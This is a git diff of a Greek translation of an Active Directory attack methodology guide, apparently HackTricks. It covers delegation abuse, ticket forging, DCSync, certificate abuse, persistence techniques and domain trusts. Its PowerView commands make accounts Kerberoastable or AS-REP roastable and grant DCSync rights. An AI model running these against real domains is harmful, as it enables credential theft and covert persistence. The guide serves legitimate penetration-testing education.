Στη συνέχεια, αν **αποκτήσετε το hash** αυτού του χρήστη/υπολογιστή θα μπορείτε να **impersonate οποιονδήποτε χρήστη** (ακόμα και Domain Admins) για να προσπελάσετε αυτές τις υπηρεσίες.
|
||||
Αν ένας χρήστης ή υπολογιστής επιτρέπεται για "Constrained Delegation" θα μπορεί να **υποδυθεί οποιονδήποτε χρήστη για να προσπελάσει κάποιες υπηρεσίες σε έναν υπολογιστή**.\
|
||||
Τότε, αν **συμβιβάσετε το hash** αυτού του χρήστη/υπολογιστή θα μπορείτε να **υποδυθείτε οποιονδήποτε χρήστη** (ακόμα και domain admins) για να προσπελάσετε κάποιες υπηρεσίες.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -333,7 +334,7 @@ constrained-delegation.md
|
||||
|
||||
### Resourced-based Constrain Delegation
|
||||
|
||||
Το να έχετε δικαίωμα **WRITE** σε ένα Active Directory object ενός απομακρυσμένου υπολογιστή επιτρέπει την επίτευξη code execution με **elevated privileges**:
|
||||
Η κατοχή **WRITE** προνομίου σε ένα Active Directory αντικείμενο ενός απομακρυσμένου υπολογιστή επιτρέπει την επίτευξη code execution με **ανυψωμένα προνόμια**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -342,7 +343,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### Permissions/ACLs Abuse
|
||||
|
||||
Ο compromised χρήστης μπορεί να έχει κάποια **ενδιαφέροντα προνόμια πάνω σε domain objects** που θα μπορούσαν να σας επιτρέψουν να **μετακινηθείτε lateral** ή να **escalate privileges**.
|
||||
Ο συμβιβασμένος χρήστης μπορεί να έχει κάποια **ενδιαφέροντα προνόμια πάνω σε κάποια domain objects** που θα μπορούσαν να σας επιτρέψουν να **μετακινηθείτε lateral/να ανεβάσετε προνόμια**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -351,7 +352,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
Η ανακάλυψη μιας **Spool service που 'ακούει'** εντός του domain μπορεί να **καταχραστεί** για να **αποκτήσει νέες credentials** και να **ανυψώσει προνόμια**.
|
||||
Η ανακάλυψη μιας **Spool service που ακούει** μέσα στο domain μπορεί να **κακοποιηθεί** για να **αποκτήσει νέες διαπιστευτήριες** και να **ανεβάσει προνόμια**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -360,8 +361,8 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Third party sessions abuse
|
||||
|
||||
Εάν **άλλοι χρήστες** **πρόσβαση** στη **compromised** μηχανή, είναι δυνατό να **συλλεχθούν credentials από τη μνήμη** και ακόμα **να εγχυθούν beacons στις διεργασίες τους** για να τους impersonate.\
|
||||
Συνήθως οι χρήστες θα προσπελαύνουν το σύστημα μέσω RDP, οπότε εδώ υπάρχει πώς να πραγματοποιήσετε μερικές επιθέσεις πάνω σε τρίτες RDP sessions:
|
||||
Αν **άλλοι χρήστες** **προσπελάζουν** το **συμβιβασμένο** μηχάνημα, είναι πιθανό να **συλλέξετε credentials από τη μνήμη** και ακόμα να **ενέχετε beacons στις διεργασίες τους** για να τους impersonate.\
|
||||
Συνήθως οι χρήστες προσπελαύνουν το σύστημα μέσω RDP, οπότε εδώ έχετε πώς να πραγματοποιήσετε μερικές επιθέσεις πάνω σε τρίτες RDP συνεδρίες:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -370,7 +371,8 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
Το **LAPS** παρέχει ένα σύστημα για τη διαχείριση του **local Administrator password** σε domain-joined computers, διασφαλίζοντας ότι είναι **randomized**, μοναδικό και συχνά **changed**. Αυτά τα passwords αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο σε εξουσιοδοτημένους χρήστες. Με επαρκή permissions για πρόσβαση σε αυτά τα passwords, το pivoting σε άλλους υπολογιστές γίνεται δυνατό.
|
||||
Το **LAPS** παρέχει ένα σύστημα για τη διαχείριση του **local Administrator password** σε domain-joined computers, διασφαλίζοντας ότι είναι **τυχαίο**, μοναδικό και συχνά **αλλαγμένο**. Αυτοί οι κωδικοί αποθηκεύονται στο Active Directory και η πρόσβαση ελέγχεται μέσω ACLs μόνο σε εξουσιοδοτημένους χρήστες. Με επαρκή δικαιώματα για πρόσβαση σε αυτούς τους κωδικούς, γίνεται δυνατή η pivoting σε άλλους υπολογιστές.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -378,7 +380,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
Η **συλλογή certificates** από τη compromised μηχανή μπορεί να είναι ένας τρόπος για escalation privileges μέσα στο περιβάλλον:
|
||||
Το **συλλέγειν certificates** από το συμβιβασμένο μηχάνημα θα μπορούσε να είναι ένας τρόπος για να ανεβάσετε προνόμια μέσα στο περιβάλλον:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -387,7 +389,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
Εάν έχουν ρυθμιστεί **ευάλωτα templates**, είναι δυνατό να τα καταχραστείτε για να ανεβάσετε προνόμια:
|
||||
Αν **ευάλωτα templates** είναι ρυθμισμένα, είναι πιθανό να τα εκμεταλλευτείτε για να ανεβάσετε προνόμια:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -398,15 +400,15 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Dumping Domain Credentials
|
||||
|
||||
Μόλις αποκτήσετε προνόμια **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin**, μπορείτε να **dump** τη **domain database**: _ntds.dit_.
|
||||
Μόλις αποκτήσετε **Domain Admin** ή ακόμα καλύτερα **Enterprise Admin** προνόμια, μπορείτε να **dumpάρετε** τη **domain database**: _ntds.dit_.
|
||||
|
||||
[**Περισσότερες πληροφορίες για την επίθεση DCSync εδώ**](dcsync.md).
|
||||
[**More information about DCSync attack can be found here**](dcsync.md).
|
||||
|
||||
[**Περισσότερες πληροφορίες για το πώς να κλέψετε το NTDS.dit εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
Κάποιες από τις τεχνικές που συζητήθηκαν παραπάνω μπορούν να χρησιμοποιηθούν για persistence.\
|
||||
Μερικές από τις τεχνικές που συζητήθηκαν προηγουμένως μπορούν να χρησιμοποιηθούν για persistence.\
|
||||
Για παράδειγμα μπορείτε να:
|
||||
|
||||
- Κάνετε χρήστες ευάλωτους στο [**Kerberoast**](kerberoast.md)
|
||||
@ -421,7 +423,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Δώσετε [**DCSync**](#dcsync) προνόμια σε έναν χρήστη
|
||||
- Χορηγήσετε [**DCSync**](#dcsync) προνόμια σε έναν χρήστη
|
||||
|
||||
```bash
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -429,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
Η επίθεση **Silver Ticket** δημιουργεί ένα νόμιμο Ticket Granting Service (TGS) ticket για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (π.χ. το **hash του PC account**). Αυτή η μέθοδος χρησιμοποιείται για να αποκτήσει τα προνόμια της υπηρεσίας.
|
||||
Η **Silver Ticket attack** δημιουργεί ένα **νόμιμο Ticket Granting Service (TGS) ticket** για μια συγκεκριμένη υπηρεσία χρησιμοποιώντας το **NTLM hash** (για παράδειγμα, το **hash του PC account**). Αυτή η μέθοδος χρησιμοποιείται για να **προσπελάσει τα προνόμια της υπηρεσίας**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -438,7 +440,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Μια επίθεση **Golden Ticket** περιλαμβάνει έναν επιτιθέμενο που αποκτά πρόσβαση στο **NTLM hash του krbtgt account** σε ένα περιβάλλον Active Directory (AD). Αυτός ο λογαριασμός είναι ιδιαίτερος επειδή χρησιμοποιείται για την υπογραφή όλων των **Ticket Granting Tickets (TGTs)**, που είναι ουσιώδη για authentication μέσα στο AD δίκτυο.
|
||||
Μια **Golden Ticket attack** περιλαμβάνει έναν επιτιθέμενο να αποκτήσει πρόσβαση στο **NTLM hash του krbtgt account** σε ένα Active Directory (AD) περιβάλλον. Αυτός ο λογαριασμός είναι ειδικός διότι χρησιμοποιείται για την υπογραφή όλων των **Ticket Granting Tickets (TGTs)**, που είναι απαραίτητα για την αυθεντικοποίηση μέσα στο AD δίκτυο.
|
||||
|
||||
Μόλις ο επιτιθέμενος αποκτήσει αυτό το hash, μπορεί να δημιουργήσει **TGTs** για οποιονδήποτε λογαριασμό επιλέξει (Silver ticket attack).
|
||||
|
||||
@ -449,7 +451,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Αυτά μοιάζουν με golden tickets, αλλά πλαστογραφημένα με τρόπο που **παρακάμπτει κοινικούς μηχανισμούς ανίχνευσης golden tickets.**
|
||||
Αυτά μοιάζουν με golden tickets που πλαστογραφούνται με τρόπο που **παρακάμπτει κοινούς μηχανισμούς ανίχνευσης golden tickets.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -458,7 +460,7 @@ diamond-ticket.md
|
||||
|
||||
### **Certificates Account Persistence**
|
||||
|
||||
**Το να έχετε certificates ενός λογαριασμού ή να μπορείτε να τα αιτηθείτε** είναι πολύ καλός τρόπος για να διατηρήσετε persistence στον λογαριασμό του χρήστη (ακόμα κι αν αλλάξει το password):
|
||||
Το **να έχετε certificates ενός account ή να μπορείτε να τα αιτηθείτε** είναι ένας πολύ καλός τρόπος για να επιμείνετε σε έναν χρήστη (ακόμα κι αν αλλάξει το password):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -467,7 +469,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**Η χρήση certificates επίσης επιτρέπει persistence με υψηλά προνόμια μέσα στο domain:**
|
||||
**Η χρήση certificates είναι επίσης δυνατή για να παραμείνετε με υψηλά προνόμια μέσα στο domain:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -476,13 +478,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
Το αντικείμενο **AdminSDHolder** στο Active Directory εξασφαλίζει την προστασία των **privileged groups** (όπως Domain Admins και Enterprise Admins) εφαρμόζοντας ένα σταθερό **Access Control List (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η λειτουργία μπορεί να καταχραστεί· αν ένας επιτιθέμενος τροποποιήσει το ACL του AdminSDHolder ώστε να δίνει πλήρη πρόσβαση σε έναν απλό χρήστη, αυτός ο χρήστης αποκτά εκτεταμένο έλεγχο πάνω σε όλες τις privileged groups. Αυτό το μέτρο ασφαλείας, που προορίζεται να προστατεύει, μπορεί έτσι να αντιστραφεί και να επιτρέψει ανεπιθύμητη πρόσβαση εκτός αν παρακολουθείται στενά.
|
||||
Το αντικείμενο **AdminSDHolder** στο Active Directory εξασφαλίζει την ασφάλεια των **privileged groups** (όπως Domain Admins και Enterprise Admins) εφαρμόζοντας ένα τυποποιημένο **Access Control List (ACL)** σε αυτές τις ομάδες για να αποτρέψει μη εξουσιοδοτημένες αλλαγές. Ωστόσο, αυτή η λειτουργία μπορεί να εκμεταλλευτεί· αν ένας επιτιθέμενος τροποποιήσει το ACL του AdminSDHolder ώστε να δώσει πλήρη πρόσβαση σε έναν απλό χρήστη, εκείνος ο χρήστης αποκτά εκτενή έλεγχο σε όλες τις privileged ομάδες. Αυτό το μέτρο ασφαλείας, που σκοπό έχει την προστασία, μπορεί επομένως να γυρίσει μπούμερανγκ, επιτρέποντας ανεπιθύμητη πρόσβαση εκτός αν παρακολουθείται στενά.
|
||||
|
||||
[**Περισσότερες πληροφορίες για το AdminSDHolder Group εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
Σε κάθε **Domain Controller (DC)** υπάρχει ένας **τοπικός administrator** λογαριασμός. Αποκτώντας admin δικαιώματα σε μια τέτοια μηχανή, το τοπικό Administrator hash μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Στη συνέχεια απαιτείται μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του password**, επιτρέποντας απομακρυσμένη πρόσβαση στον τοπικό Administrator λογαριασμό.
|
||||
Σε κάθε **Domain Controller (DC)** υπάρχει ένας **local administrator** λογαριασμός. Αποκτώντας admin rights σε τέτοιο μηχάνημα, το hash του local Administrator μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Κατόπιν απαιτείται μια τροποποίηση στο registry για να **ενεργοποιηθεί η χρήση αυτού του κωδικού**, επιτρέποντας απομακρυσμένη πρόσβαση στον τοπικό Administrator account.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -491,7 +493,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
Μπορείτε να **δώσετε** μερικά **ειδικά permissions** σε έναν **χρήστη** πάνω σε συγκεκριμένα domain objects που θα του επιτρέψουν να **escalate privileges στο μέλλον**.
|
||||
Μπορείτε να **δώσετε** κάποια **ειδικά δικαιώματα** σε έναν **χρήστη** πάνω σε συγκεκριμένα domain objects που θα του επιτρέψουν να **ανεβάσει προνόμια στο μέλλον**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -500,7 +502,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
Οι **security descriptors** χρησιμοποιούνται για να **αποθηκεύουν** τα **permissions** που έχει ένα **object**. Αν μπορείτε να κάνετε μια **μικρή αλλαγή** στο **security descriptor** ενός αντικειμένου, μπορείτε να αποκτήσετε πολύ ενδιαφέροντα προνόμια πάνω σε αυτό το αντικείμενο χωρίς να χρειάζεται να είστε μέλος μιας privileged ομάδας.
|
||||
Οι **security descriptors** χρησιμοποιούνται για να **αποθηκεύουν** τα **permissions** που έχει ένα **αντικείμενο** πάνω σε ένα **αντικείμενο**. Αν μπορείτε απλά να **κάνετε** μια **μικρή αλλαγή** στον **security descriptor** ενός αντικειμένου, μπορείτε να αποκτήσετε πολύ ενδιαφέροντα προνόμια πάνω σε εκείνο το αντικείμενο χωρίς να χρειάζεται να είστε μέλος μιας privileged ομάδας.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -509,7 +511,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
Τροποποιήστε τη **LSASS** στη μνήμη για να ορίσετε έναν **universal password**, παρέχοντας πρόσβαση σε όλους τους domain λογαριασμούς.
|
||||
Τροποποιήστε το **LSASS** στη μνήμη για να καθιερώσετε έναν **universal password**, δίνοντας πρόσβαση σε όλους τους domain λογαριασμούς.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -518,8 +520,8 @@ skeleton-key.md
|
||||
|
||||
### Custom SSP
|
||||
|
||||
[Μάθετε τι είναι ένα SSP (Security Support Provider) εδώ.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **capture σε clear text** τα **credentials** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.
|
||||
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
Μπορείτε να δημιουργήσετε το **δικό σας SSP** για να **capture** σε **clear text** τα **credentials** που χρησιμοποιούνται για την πρόσβαση στη μηχανή.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -528,7 +530,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Καταχωρεί έναν **νέο Domain Controller** στο AD και τον χρησιμοποιεί για να **push attributes** (SIDHistory, SPNs...) σε συγκεκριμένα αντικείμενα **χωρίς** να αφήνει logs σχετικά με τις **τροποποιήσεις**. Χρειάζεστε DA privileges και να βρίσκεστε στο root domain.\
|
||||
Καταχωρεί έναν **νέο Domain Controller** στο AD και τον χρησιμοποιεί για να **pushάρει attributes** (SIDHistory, SPNs...) σε συγκεκριμένα αντικείμενα **χωρίς** να αφήνει **logs** σχετικά με τις **τροποποιήσεις**. Χρειάζεστε DA προνόμια και να είστε μέσα στο **root domain**.\
|
||||
Σημειώστε ότι αν χρησιμοποιήσετε λανθασμένα δεδομένα, θα εμφανιστούν αρκετά άσχημα logs.
|
||||
|
||||
|
||||
@ -538,7 +540,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
Προηγουμένως συζητήσαμε πώς να ανεβάσετε προνόμια αν έχετε **αρκετά permissions για να διαβάσετε LAPS passwords**. Ωστόσο, αυτά τα passwords μπορούν επίσης να χρησιμοποιηθούν για **διατήρηση persistence**.\
|
||||
Προηγουμένως συζητήσαμε πώς να ανεβάσετε προνόμια αν έχετε **αρκετή άδεια να διαβάζετε LAPS passwords**. Ωστόσο, αυτοί οι κωδικοί μπορούν επίσης να χρησιμοποιηθούν για να **διατηρήσετε persistence**.\
|
||||
Δείτε:
|
||||
|
||||
|
||||
@ -548,62 +550,62 @@ laps.md
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Η Microsoft θεωρεί το **Forest** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η παραβίαση ενός μόνο domain μπορεί ενδεχομένως να οδηγήσει σε παραβίαση ολόκληρου του Forest**.
|
||||
Η Microsoft θεωρεί το **Forest** ως το όριο ασφάλειας. Αυτό συνεπάγεται ότι **ο συμβιβασμός ενός μόνο domain θα μπορούσε ενδεχομένως να οδηγήσει στον συμβιβασμό ολόκληρου του Forest**.
|
||||
|
||||
### Basic Information
|
||||
|
||||
Ένα [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) είναι ένας μηχανισμός ασφαλείας που επιτρέπει σε έναν χρήστη από ένα **domain** να προσπελάσει πόρους σε ένα άλλο **domain**. Δημιουργεί μια σύνδεση μεταξύ των συστημάτων authentication των δύο domains, επιτρέποντας την ομαλή ροή ελέγχων authentication. Όταν τα domains δημιουργούν ένα trust, ανταλλάσσουν και αποθηκεύουν συγκεκριμένα **keys** στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα του trust.
|
||||
Ένα [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) είναι ένας μηχανισμός ασφάλειας που επιτρέπει σε έναν χρήστη από ένα **domain** να προσπελάσει πόρους σε ένα άλλο **domain**. Ουσιαστικά δημιουργεί μια σύνδεση μεταξύ των συστημάτων αυθεντικοποίησης των δύο domains, επιτρέποντας στη ροή επαληθεύσεων αυθεντικοποίησης να συμβεί ομαλά. Όταν τα domains δημιουργούν μια trust, ανταλλάσσουν και διατηρούν συγκεκριμένα **κλειδιά** μέσα στους **Domain Controllers (DCs)** τους, τα οποία είναι κρίσιμα για την ακεραιότητα της trust.
|
||||
|
||||
Σε ένα τυπικό σενάριο, αν ένας χρήστης θέλει να προσπελάσει μια υπηρεσία σε ένα **trusted domain**, πρέπει πρώτα να ζητήσει ένα ειδικό ticket γνωστό ως **inter-realm TGT** από τον δικό του Domain Controller. Αυτό το TGT κρυπτογραφείται με ένα κοινό **key** που έχουν συμφωνήσει και τα δύο domains. Ο χρήστης παρουσιάζει αυτό το inter-realm TGT στον **DC του trusted domain** για να λάβει ένα service ticket (**TGS**). Εφόσον το inter-realm TGT επαληθευτεί επιτυχώς από τον DC του trusted domain, αυτός εκδίδει ένα TGS, χορηγώντας στον χρήστη πρόσβαση στην υπηρεσία.
|
||||
Σε ένα τυπικό σενάριο, αν ένας χρήστης θέλει να προσπελάσει μια υπηρεσία σε ένα **trusted domain**, πρέπει πρώτα να ζητήσει ένα ειδικό tiket γνωστό ως **inter-realm TGT** από τον DC του δικού του domain. Αυτό το TGT είναι κρυπτογραφημένο με ένα κοινό **κλειδί** που και τα δύο domains έχουν συμφωνήσει. Ο χρήστης στη συνέχεια παρουσιάζει αυτό το TGT στον **DC του trusted domain** για να πάρει ένα service ticket (**TGS**). Μετά την επιτυχή επικύρωση του inter-realm TGT από τον DC του trusted domain, αυτός εκδίδει ένα TGS, χορηγώντας στον χρήστη πρόσβαση στην υπηρεσία.
|
||||
|
||||
**Βήματα**:
|
||||
|
||||
1. Ένας **client computer** στο **Domain 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του.
|
||||
2. Ο DC1 εκδίδει ένα νέο TGT εάν ο client πιστοποιηθεί επιτυχώς.
|
||||
3. Ο client στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο χρειάζεται για πρόσβαση σε πόρους στο **Domain 2**.
|
||||
4. Το inter-realm TGT κρυπτογραφείται με ένα **trust key** που μοιράζονται ο DC1 και ο DC2 ως μέρος του two-way domain trust.
|
||||
5. Ο client παίρνει το inter-realm TGT στον **Domain Controller του Domain 2 (DC2)**.
|
||||
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό trust key και, αν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον server στο Domain 2 που θέλει να προσπελάσει ο client.
|
||||
7. Τέλος, ο client παρουσιάζει αυτό το TGS στον server, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του server, για να αποκτήσει πρόσβαση στην υπηρεσία στο Domain 2.
|
||||
2. Ο DC1 εκδίδει ένα νέο TGT αν ο client αυθεντικοποιηθεί με επιτυχία.
|
||||
3. Ο client ζητά έπειτα ένα **inter-realm TGT** από τον DC1, που είναι απαραίτητο για την πρόσβαση σε πόρους στο **Domain 2**.
|
||||
4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **trust key** που μοιράζονται ο DC1 και ο DC2 ως μέρος της αμφίδρομης domain trust.
|
||||
5. Ο client παίρνει το inter-realm TGT στον **Domain Controller (DC2)** του Domain 2.
|
||||
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό trust key και, αν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον server στο Domain 2 που ο client θέλει να προσπελάσει.
|
||||
7. Τέλος, ο client παρουσιάζει αυτό το TGS στον server, που είναι κρυπτογραφημένο με το hash του account του server, για να αποκτήσει πρόσβαση στην υπηρεσία στο Domain 2.
|
||||
|
||||
### Different trusts
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι **ένα trust μπορεί να είναι μονομερές ή αμφίδρομο**. Στην επιλογή two-way, και τα δύο domains εμπιστεύονται το ένα το άλλο, ενώ σε μια **one-way** σχέση trust, το ένα domain είναι το **trusted** και το άλλο το **trusting**. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να προσπελάσετε πόρους στο trusting domain από το trusted domain**.
|
||||
Είναι σημαντικό να σημειωθεί ότι **μια trust μπορεί να είναι μονόδρομη ή αμφίδρομη**. Στην επιλογή των 2 ways, και τα δύο domains θα εμπιστεύονται το ένα το άλλο, αλλά στη **1 way** σχέση εμπιστοσύνης το ένα από τα domains θα είναι το **trusted** και το άλλο το **trusting** domain. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να προσπελάσετε πόρους μέσα στο trusting domain από το trusted**.
|
||||
|
||||
Αν το Domain A εμπιστεύεται το Domain B, το A είναι το trusting domain και το B είναι το trusted. Επιπλέον, στο **Domain A**, αυτό θα εμφανίζεται ως **Outbound trust**· και στο **Domain B**, αυτό θα είναι **Inbound trust**.
|
||||
Αν το Domain A εμπιστεύεται το Domain B, το A είναι το trusting domain και το B είναι το trusted. Επιπλέον, στο **Domain A**, αυτό θα είναι ένα **Outbound trust**· και στο **Domain B**, αυτό θα είναι ένα **Inbound trust**.
|
||||
|
||||
**Διαφορετικές σχέσεις trusting**
|
||||
**Διαφορετικές σχέσεις εμπιστοσύνης**
|
||||
|
||||
- **Parent-Child Trusts**: Συνηθισμένη ρύθμιση μέσα στο ίδιο forest, όπου ένα child domain έχει αυτόματα two-way transitive trust με το parent domain. Αυτό σημαίνει ότι τα authentication requests μπορούν να ρέουν ομαλά μεταξύ parent και child.
|
||||
- **Cross-link Trusts**: Αναφέρονται ως "shortcut trusts" και δημιουργούνται μεταξύ child domains για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα forests, οι παραπομπές authentication συνήθως πρέπει να ανέβουν μέχρι τη ρίζα του forest και στη συνέχεια να κατέβουν στο target domain. Δημιουργώντας cross-links, η διαδρομή συντομεύει, κάτι που είναι χρήσιμο ιδιαίτερα σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
|
||||
- **External Trusts**: Αυτά ρυθμίζονται μεταξύ διαφορετικών, μη σχετιζόμενων domains και είναι per φύση non-transitive. Σύμφωνα με την [εγχειρίδιο της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), τα external trusts είναι χρήσιμα για πρόσβαση σε πόρους σε ένα domain έξω από το τρέχον forest που δεν συνδέεται με forest trust. Η ασφάλεια ενισχύεται μέσω SID filtering με external trusts.
|
||||
- **Tree-root Trusts**: Αυτά τα trusts δημιουργούνται αυτόματα μεταξύ του forest root domain και ενός νεοπροστιθέμενου tree root. Αν και δεν είναι συχνά, τα tree-root trusts είναι σημαντικά για την προσθήκη νέων domain trees σε ένα forest, επιτρέποντάς τους να διατηρούν μοναδικό domain name και εξασφαλίζοντας two-way transitivity. Περισσότερες πληροφορίες είναι διαθέσιμες στην [οδηγία της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Αυτό το είδος trust είναι ένα two-way transitive trust μεταξύ δύο forest root domains, εφαρμόζοντας επίσης SID filtering για ενίσχυση της ασφάλειας.
|
||||
- **MIT Trusts**: Αυτά τα trusts δημιουργούνται με μη-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domains. Τα MIT trusts είναι πιο εξειδικευμένα και προορίζονται για περιβάλλοντα που χρειάζονται ενσωμάτωση με Kerberos-based συστήματα εκτός του Windows οικοσυστήματος.
|
||||
- **Parent-Child Trusts**: Αυτό είναι μια κοινή ρύθμιση εντός του ίδιου forest, όπου ένα child domain έχει αυτόματα μια αμφίδρομη transitive trust με το parent domain του. Ουσιαστικά, αυτό σημαίνει ότι τα αιτήματα αυθεντικοποίησης μπορούν να ρέουν ομαλά ανάμεσα στον parent και τον child.
|
||||
- **Cross-link Trusts**: Αναφέρονται ως "shortcut trusts," και εγκαθίστανται μεταξύ child domains για να επισπεύσουν τις διαδικασίες αναφοράς. Σε πολύπλοκα forests, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδέψουν μέχρι τη ρίζα του forest και μετά προς τα κάτω στο target domain. Δημιουργώντας cross-links, η διαδρομή συντομεύει, κάτι που είναι ιδιαίτερα χρήσιμο σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
|
||||
- **External Trusts**: Αυτές ρυθμίζονται μεταξύ διαφορετικών, μη σχετιζόμενων domains και είναι per φύση non-transitive. Σύμφωνα με την τεκμηρίωση της [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι external trusts είναι χρήσιμες για πρόσβαση σε πόρους σε ένα domain έξω από το τρέχον forest που δεν συνδέεται με forest trust. Η ασφάλεια ενισχύεται μέσω SID filtering με external trusts.
|
||||
- **Tree-root Trusts**: Αυτές οι trusts δημιουργούνται αυτόματα μεταξύ του forest root domain και μιας νεοεισαχθείσας tree root. Αν και δεν συναντώνται συχνά, οι tree-root trusts είναι σημαντικές για την προσθήκη νέων domain trees σε ένα forest, επιτρέποντάς τους να διατηρούν ένα μοναδικό domain name και εξασφαλίζοντας αμφίδρομη transitivity. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Αυτός ο τύπος trust είναι μια αμφίδρομη transitive trust μεταξύ δύο forest root domains, επιβάλλοντας επίσης SID filtering για την ενίσχυση των μέτρων ασφαλείας.
|
||||
- **MIT Trusts**: Αυτές οι trusts εγκαθίστανται με non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domains. Οι MIT trusts είναι πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με Kerberos-based συστήματα εκτός του Windows οικοσυστήματος.
|
||||
|
||||
#### Other differences in **trusting relationships**
|
||||
|
||||
- Μια σχέση trust μπορεί επίσης να είναι **transitive** (A trust B, B trust C, άρα A trust C) ή **non-transitive**.
|
||||
